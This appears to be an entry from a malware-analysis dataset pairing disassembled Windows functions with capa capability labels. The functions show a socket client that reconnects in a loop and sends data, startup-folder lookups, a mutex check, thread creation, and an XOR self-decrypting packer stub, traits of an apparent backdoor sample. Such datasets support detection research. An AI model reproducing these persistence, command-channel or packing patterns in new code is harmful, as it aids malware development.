joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4069d0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x44ab08
push eax
mov dword fs:[0], esp
push esi
mov dword [ebp - 4], 2
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x64
mov dword [0x4674d0], 0
call esi
mov eax, dword fs:[0x2c]
mov ecx, dword [eax]
mov eax, dword [0x4676c8]
cmp eax, dword [ecx + 4]
jle 0x406a97
push 0x4676c8
call fcn.0041f265
add esp, 4
cmp dword [0x4676c8], 0xffffffff
jne 0x406a97
push 0x450cc0
mov dword [0x467690], 0
mov dword [0x467694], 0xf
mov byte [0x467680], 0
mov dword [0x4676a8], 0
mov dword [0x4676ac], 0xf
mov byte [0x467698], 0
mov dword [0x4676c0], 0
mov dword [0x4676c4], 0xf
mov byte [0x4676b0], 0
call fcn.0041f5a7
push 0x4676c8
call fcn.0041f21b
add esp, 8
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push dword [ebp + 0x18]
cmovae eax, dword [ebp + 8]
mov ecx, 0x467680
push eax
call fcn.0041a7c0
cmp dword [ebp + 0x34], 0x10
lea eax, [ebp + 0x20]
push dword [ebp + 0x30]
cmovae eax, dword [ebp + 0x20]
mov ecx, 0x467698
push eax
call fcn.0041a7c0
cmp dword [ebp + 0x4c], 0x10
lea eax, [ebp + 0x38]
push dword [ebp + 0x48]
cmovae eax, dword [ebp + 0x38]
mov ecx, 0x4676b0
push eax
call fcn.0041a7c0
push 0
push 0
push 0x467680
push 0x406880
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x1f4
call esi
mov edx, dword [ebp + 0x1c]
mov esi, dword [0x4674d0]
cmp edx, 0x10
jb 0x406b3b
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x406b31
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406bd0
push edx
push ecx
call fcn.0041f5bc
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0x406b7d
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x406b73
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406bd0
push edx
push ecx
call fcn.0041f5bc
add esp, 8
mov edx, dword [ebp + 0x4c]
mov dword [ebp + 0x30], 0
mov dword [ebp + 0x34], 0xf
mov byte [ebp + 0x20], 0
cmp edx, 0x10
jb 0x406bbf
mov ecx, dword [ebp + 0x38]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x406bb5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406bd0
push edx
push ecx
call fcn.0041f5bc
add esp, 8
mov ecx, dword [ebp - 0xc]
mov eax, esi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret
call fcn.00438cc7
int3
Function at 0x406ed0
Capabilities:
Set current directory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44ac00
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x54
push esi
lea edx, [ebp + 8]
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x48]
call fcn.004063e0
cmp dword [eax + 0x14], 0x10
jb 0x406f06
mov eax, dword [eax]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
mov edx, dword [ebp - 0x34]
cmp edx, 0x10
jb 0x406f41
mov ecx, dword [ebp - 0x48]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x406f37
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4070f0
push edx
push ecx
call fcn.0041f5bc
add esp, 8
sub esp, 0x18
mov dword [ebp - 0x10], esp
mov esi, esp
sub esp, 0x18
mov ecx, esp
push 0x4639c8
call fcn.00419ff0
lea ecx, [ebp - 0x60]
call fcn.00405210
add esp, 0x18
push eax
lea eax, [ebp + 8]
mov byte [ebp - 4], 1
push eax
sub esp, 0x18
mov ecx, esp
push 0x463d70
call fcn.00419ff0
lea ecx, [ebp - 0x48]
call fcn.00405210
add esp, 0x18
mov edx, eax
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x30]
call fcn.0041aa10
add esp, 4
mov edx, eax
mov byte [ebp - 4], 3
mov ecx, esi
call fcn.0041a910
sub esp, 0x14
mov byte [ebp - 4], 4
mov dword [ebp - 0x14], esp
mov esi, esp
sub esp, 0x18
mov ecx, esp
push 0x464088
call fcn.00419ff0
mov ecx, esi
call fcn.00405210
mov ecx, esp
mov byte [ebp - 4], 5
push 1
push str.0123456789
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov byte [ecx], 0
call fcn.0041a7c0
mov byte [ebp - 4], 3
call fcn.00406710
mov edx, dword [ebp - 0x1c]
add esp, 0x48
cmp edx, 0x10
jb 0x407029
mov ecx, dword [ebp - 0x30]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40701f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4070f5
push edx
push ecx
call fcn.0041f5bc
add esp, 8
mov edx, dword [ebp - 0x34]
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0xf
mov byte [ebp - 0x30], 0
cmp edx, 0x10
jb 0x40706f
mov ecx, dword [ebp - 0x48]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x407065
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4070f5
push edx
push ecx
call fcn.0041f5bc
add esp, 8
mov edx, dword [ebp - 0x4c]
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0xf
mov byte [ebp - 0x48], 0
cmp edx, 0x10
jb 0x4070b1
mov ecx, dword [ebp - 0x60]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4070a7
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4070f5
push edx
push ecx
call fcn.0041f5bc
add esp, 8
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x4070e1
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4070d7
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4070fa
push edx
push ecx
call fcn.0041f5bc
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret
call fcn.00438cc7
call fcn.00438cc7
call fcn.00438cc7
int3
Function at 0x407670
Capabilities:
Check os version
Get system information on windows

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44ac68
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x17c
push esi
push 0x118
xorps xmm0, xmm0
mov dword [ebp - 0x48], 0
lea eax, [ebp - 0x184]
push 0
push eax
movups xmmword [ebp - 0x68], xmm0
movups xmmword [ebp - 0x58], xmm0
call fcn.00436180
add esp, 0xc
mov dword [ebp - 0x188], 0x11c
lea eax, [ebp - 0x188]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
jne 0x4076fd
mov eax, 0x64
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
sub esp, 0x18
mov ecx, esp
push 0x464520
call fcn.00419ff0
lea ecx, [ebp - 0x44]
call fcn.00405210
add esp, 0x18
mov dword [ebp - 4], 0
cmp dword [eax + 0x14], 0x10
jb 0x407726
mov eax, dword [eax]
push eax
sub esp, 0x18
mov ecx, esp
push 0x463e30
call fcn.00419ff0
lea ecx, [ebp - 0x2c]
call fcn.00405210
add esp, 0x18
cmp dword [eax + 0x14], 0x10
jb 0x407749
mov eax, dword [eax]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [ebp - 0x18]
mov esi, eax
cmp edx, 0x10
jb 0x40778d
mov ecx, dword [ebp - 0x2c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x407783
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40783d
push edx
push ecx
call fcn.0041f5bc
add esp, 8
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x30]
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0xf
mov byte [ebp - 0x2c], 0
cmp edx, 0x10
jb 0x4077d6
mov ecx, dword [ebp - 0x44]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4077cc
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40783d
push edx
push ecx
call fcn.0041f5bc
add esp, 8
mov dword [ebp - 0x34], 0
lea eax, [ebp - 0x68]
mov dword [ebp - 0x30], 0xf
mov byte [ebp - 0x44], 0
push eax
test esi, esi
je 0x4077f4
call esi
jmp 0x4077fa
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [ebp - 0x184], 6
jb 0x40782b
mov ax, word [ebp - 0x68]
cmp ax, 9
jne 0x407824
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
test ax, ax
jne 0x40782b
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.00438cc7
int3

Function at 0x407a60
Capabilities:
Check if file exists
Get file attributes

Disassembly:
cmp dword [ecx + 0x14], 0x10
jb 0x407a68
mov ecx, dword [ecx]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x407a7b
test al, 0x10
je 0x407a7b
mov al, 1
ret
xor al, al
ret
Function at 0x408040
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44ad48
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x15c
push esi
push edi
lea eax, [ebp - 0x168]
mov esi, ecx
push eax
push 0x104
mov dword [ebp - 0x40], esi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
sub esp, 0x18
mov ecx, esp
push 0x463da0
call fcn.00419ff0
lea ecx, [ebp - 0x5c]
call fcn.00405210
add esp, 0x18
mov edi, eax
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x168]
mov dword [ebp - 0x2c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x28], 0xf
mov byte [ebp - 0x3c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4080b5
sub ecx, edx
lea eax, [ebp - 0x168]
push ecx
push eax
lea ecx, [ebp - 0x3c]
call fcn.0041a7c0
mov byte [ebp - 4], 1
lea eax, [ebp - 0x3c]
mov ecx, 3
mov dword [ebp - 0x14], 0
cmp dword [ebp - 0x2c], ecx
mov dword [ebp - 0x10], 0xf
cmovb ecx, dword [ebp - 0x2c]
cmp dword [ebp - 0x28], 0x10
push ecx
cmovae eax, dword [ebp - 0x3c]
lea ecx, [ebp - 0x24]
push eax
mov byte [ebp - 0x24], 0
call fcn.0041a7c0
push edi
lea edx, [ebp - 0x24]
mov byte [ebp - 4], 2
mov ecx, esi
call fcn.0041a910
mov edx, dword [ebp - 0x10]
add esp, 4
cmp edx, 0x10
jb 0x40814b
mov ecx, dword [ebp - 0x24]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x408141
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4081cf
push edx
push ecx
call fcn.0041f5bc
add esp, 8
mov edx, dword [ebp - 0x28]
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0xf
mov byte [ebp - 0x24], 0
cmp edx, 0x10
jb 0x40818d
mov ecx, dword [ebp - 0x3c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x408183
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4081cf
push edx
push ecx
call fcn.0041f5bc
add esp, 8
mov edx, dword [ebp - 0x48]
cmp edx, 0x10
jb 0x4081bd
mov ecx, dword [ebp - 0x5c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4081b3
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4081cf
push edx
push ecx
call fcn.0041f5bc
add esp, 8
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret
call fcn.00438cc7
int3
Function at 0x4081e0
Capabilities:
Get common file path
Get startup folder

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44ad70
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x13c
push esi
push edi
lea eax, [ebp - 0x148]
mov esi, ecx
push eax
push 0
push 0
push 0x1a
push 0
mov dword [ebp - 0x28], esi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
sub esp, 0x18
mov ecx, esp
push 0x464370
call fcn.00419ff0
lea ecx, [ebp - 0x44]
call fcn.00405210
add esp, 0x18
mov edi, eax
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x148]
mov dword [ebp - 0x14], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x10], 0xf
mov byte [ebp - 0x24], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x408258
sub ecx, edx
lea eax, [ebp - 0x148]
push ecx
push eax
lea ecx, [ebp - 0x24]
call fcn.0041a7c0
push edi
lea edx, [ebp - 0x24]
mov byte [ebp - 4], 1
mov ecx, esi
call fcn.0041a910
mov edx, dword [ebp - 0x10]
add esp, 4
cmp edx, 0x10
jb 0x4082b3
mov ecx, dword [ebp - 0x24]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4082a9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408307
push edx
push ecx
call fcn.0041f5bc
add esp, 8
mov edx, dword [ebp - 0x30]
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0xf
mov byte [ebp - 0x24], 0
cmp edx, 0x10
jb 0x4082f5
mov ecx, dword [ebp - 0x44]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4082eb
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408307
push edx
push ecx
call fcn.0041f5bc
add esp, 8
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret
call fcn.00438cc7
int3
Function at 0x408310
Capabilities:
Get common file path
Get startup folder

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44ad70
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x13c
push esi
push edi
lea eax, [ebp - 0x148]
mov esi, ecx
push eax
push 0
push 0
push 0
push 0
mov dword [ebp - 0x28], esi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
sub esp, 0x18
mov ecx, esp
push 0x464370
call fcn.00419ff0
lea ecx, [ebp - 0x44]
call fcn.00405210
add esp, 0x18
mov edi, eax
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x148]
mov dword [ebp - 0x14], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x10], 0xf
mov byte [ebp - 0x24], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x408388
sub ecx, edx
lea eax, [ebp - 0x148]
push ecx
push eax
lea ecx, [ebp - 0x24]
call fcn.0041a7c0
push edi
lea edx, [ebp - 0x24]
mov byte [ebp - 4], 1
mov ecx, esi
call fcn.0041a910
mov edx, dword [ebp - 0x10]
add esp, 4
cmp edx, 0x10
jb 0x4083e3
mov ecx, dword [ebp - 0x24]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4083d9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408437
push edx
push ecx
call fcn.0041f5bc
add esp, 8
mov edx, dword [ebp - 0x30]
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0xf
mov byte [ebp - 0x24], 0
cmp edx, 0x10
jb 0x408425
mov ecx, dword [ebp - 0x44]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40841b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408437
push edx
push ecx
call fcn.0041f5bc
add esp, 8
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret
call fcn.00438cc7
int3
Function at 0x408440
Capabilities:
Get common file path
Get startup folder

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44ad70
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x144
push esi
push edi
lea eax, [ebp - 0x150]
mov esi, ecx
push eax
push 0
push 0
push 0x28
push 0
mov dword [ebp - 0x28], esi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
sub esp, 0x18
mov ecx, esp
push 0x464370
call fcn.00419ff0
lea ecx, [ebp - 0x44]
call fcn.00405210
add esp, 0x18
mov edi, eax
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x150]
mov dword [ebp - 0x14], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x10], 0xf
mov byte [ebp - 0x24], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4084b8
sub ecx, edx
lea eax, [ebp - 0x150]
push ecx
push eax
lea ecx, [ebp - 0x24]
call fcn.0041a7c0
push edi
lea edx, [ebp - 0x24]
mov byte [ebp - 4], 1
mov ecx, esi
call fcn.0041a910
mov edx, dword [ebp - 0x10]
add esp, 4
cmp edx, 0x10
jb 0x408513
mov ecx, dword [ebp - 0x24]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x408509
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408567
push edx
push ecx
call fcn.0041f5bc
add esp, 8
mov edx, dword [ebp - 0x30]
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0xf
mov byte [ebp - 0x24], 0
cmp edx, 0x10
jb 0x408555
mov ecx, dword [ebp - 0x44]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40854b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408567
push edx
push ecx
call fcn.0041f5bc
add esp, 8
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret
call fcn.00438cc7
int3
Function at 0x40a020
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Terminate process

Disassembly:
cmp dword [0x464264], 0x10
mov eax, 0x464250
cmovae eax, dword [0x464250]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x40a04c
ret
push 0
call fcn.004386b9
int3
Function at 0x40bd30
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44a990
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x24
mov dword [ebp - 4], 1
mov edx, dword [ebp + 0x1c]
mov eax, edx
mov ecx, dword [ebp + 0x18]
sub eax, ecx
cmp eax, 1
jb 0x40bd79
lea eax, [ecx + 1]
cmp edx, 0x10
mov dword [ebp + 0x18], eax
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
mov word [eax + ecx], 0
jmp 0x40bd8e
push 0
push 1
mov byte [ebp - 0x10], 0
lea ecx, [ebp + 8]
push dword [ebp - 0x10]
push 1
call fcn.0041b230
mov edx, dword [ebp + 0x34]
mov eax, edx
mov ecx, dword [ebp + 0x30]
sub eax, ecx
cmp eax, 1
jb 0x40bdb5
lea eax, [ecx + 1]
cmp edx, 0x10
mov dword [ebp + 0x30], eax
lea eax, [ebp + 0x20]
cmovae eax, dword [ebp + 0x20]
mov word [eax + ecx], 0
jmp 0x40bdca
push 0
push 1
mov byte [ebp - 0x10], 0
lea ecx, [ebp + 0x20]
push dword [ebp - 0x10]
push 1
call fcn.0041b230
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push esi
cmovae eax, dword [ebp + 8]
xorps xmm0, xmm0
cmp dword [ebp + 0x34], 0x10
mov dword [ebp - 0x28], eax
lea eax, [ebp + 0x20]
cmovae eax, dword [ebp + 0x20]
mov dword [ebp - 0x24], eax
mov eax, 0x610
mov word [ebp - 0x20], ax
lea eax, [ebp - 0x30]
push eax
movlpd qword [ebp - 0x1e], xmm0
mov dword [ebp - 0x16], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 2
call dword [sym.imp.SHELL32.dll_SHFileOperationA]
mov edx, dword [ebp + 0x1c]
mov esi, eax
cmp edx, 0x10
jb 0x40be49
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40be3f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40be9c
push edx
push ecx
call fcn.0041f5bc
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0x40be8b
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40be81
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40be9c
push edx
push ecx
call fcn.0041f5bc
add esp, 8
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
call fcn.00438cc7
int3
Function at 0x40f500
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push 0x46762c
mov dword [ebp - 8], edx
mov dword [ebp - 0x10], ecx
call fcn.0041e80c
add esp, 4
test eax, eax
jne 0x40f601
mov ecx, dword [0x4675e0]
push ebx
mov ebx, dword [sym.imp.WS2_32.dll_send]
push esi
push edi
mov dword [ebp - 4], ecx
xor esi, esi
mov edi, 4
nop word [eax + eax]
push 0
push edi
lea eax, [ebp - 8]
add eax, esi
push eax
push ecx
call ebx
cmp eax, 0xffffffff
je 0x40f55d
mov ecx, dword [ebp - 4]
add esi, eax
sub edi, eax
cmp esi, 4
jl 0x40f540
xor ecx, ecx
mov edi, 8
cmp eax, 0xffffffff
setne cl
dec ecx
xor esi, esi
mov dword [ebp - 4], ecx
mov ecx, dword [0x4675e0]
mov dword [ebp - 0xc], ecx
nop dword [eax]
push 0
push edi
lea eax, [ebp + 8]
add eax, esi
push eax
push ecx
call ebx
cmp eax, 0xffffffff
je 0x40f59d
mov ecx, dword [ebp - 0xc]
add esi, eax
sub edi, eax
cmp esi, 8
jl 0x40f580
mov edi, dword [ebp - 4]
or ecx, 0xffffffff
cmp eax, ecx
mov eax, dword [ebp - 8]
mov dword [ebp - 0xc], eax
cmove edi, ecx
mov ecx, dword [0x4675e0]
xor esi, esi
mov dword [ebp - 4], edi
mov dword [ebp - 0x14], ecx
test eax, eax
jle 0x40f5e7
mov edi, eax
mov eax, dword [ebp - 0x10]
push 0
push edi
add eax, esi
push eax
push ecx
call ebx
cmp eax, 0xffffffff
je 0x40f5e4
mov ecx, dword [ebp - 0x14]
add esi, eax
sub edi, eax
cmp esi, dword [ebp - 0xc]
jl 0x40f5c2
mov edi, dword [ebp - 4]
jmp 0x40f5e7
or edi, 0xffffffff
push 0x46762c
call fcn.0041e831
add esp, 4
test eax, eax
jne 0x40f607
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push eax
call fcn.0041e3ca
push eax
call fcn.0041e3ca
int3
Function at 0x40fc00
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Convert ip address from string
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
mov eax, 0x20e8
call fcn.004201d0
push esi
push edi
call fcn.00439570
cmp dword [0x464144], 0x10
mov edi, eax
push 0xa
lea eax, [esp + 0x10]
mov esi, 0x464130
cmovae esi, dword [0x464130]
push eax
push esi
mov dword [edi], 0
call fcn.0043aaa6
add esp, 0xc
cmp esi, dword [esp + 0xc]
je 0x40fd68
cmp dword [edi], 0x22
je 0x40fd5e
movzx edi, ax
lea eax, [esp + 0x20]
push eax
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x40fd55
cmp dword [0x4644d4], 0x10
xorps xmm0, xmm0
mov eax, 2
movaps xmmword [esp + 0x10], xmm0
mov esi, 0x4644c0
mov word [esp + 0x10], ax
cmovae esi, dword [0x4644c0]
push edi
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x12], ax
lea eax, [esp + 0x14]
push eax
push esi
push 2
call dword [sym.imp.WS2_32.dll_inet_pton]
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
push 0x10
lea ecx, [esp + 0x14]
mov dword [0x4675e0], eax
push ecx
push eax
call dword [sym.imp.WS2_32.dll_connect]
mov esi, dword [sym.imp.WS2_32.dll_closesocket]
cmp eax, 0xffffffff
jne 0x40fd13
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
nop dword [eax]
push 0xbb8
call edi
push dword [0x4675e0]
call esi
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
push 0x10
lea ecx, [esp + 0x14]
mov dword [0x4675e0], eax
push ecx
push eax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x40fce0
lea ecx, [esp + 0x1b0]
call fcn.0040f970
cmp eax, 0xffffffff
je 0x40fd55
cmp byte [0x4674dc], 1
je 0x40fd46
lea ecx, [esp + 0x1b0]
call fcn.0040f970
cmp eax, 0xffffffff
jne 0x40fd24
or eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push dword [0x4675e0]
call esi
mov byte [0x4674dc], 0
pop edi
or eax, 0xffffffff
pop esi
mov esp, ebp
pop ebp
ret
push str.stoi_argument_out_of_range
call fcn.0041e339
push str.invalid_stoi_argument
call fcn.0041e2f9
int3
Function at 0x419070
Capabilities:
Create thread

Disassembly:
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x418ee0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x418f60
push 0
push 0
call esi
push 0
push 0
push 0
push 0x418fe0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x419060
push 0
push 0
call esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7530
call esi
jmp 0x4190c1

Function at 0x421c0d
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret

Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40915c
mov ecx, 0x4e1e5cca
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43104e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x431024
nop
mov eax, section..data
nop
nop
mov ebx, 0x42f3f8
mov ecx, 0x606671b6
nop
test eax, eax
nop
nop
nop
nop
je 0x431084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43106c
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219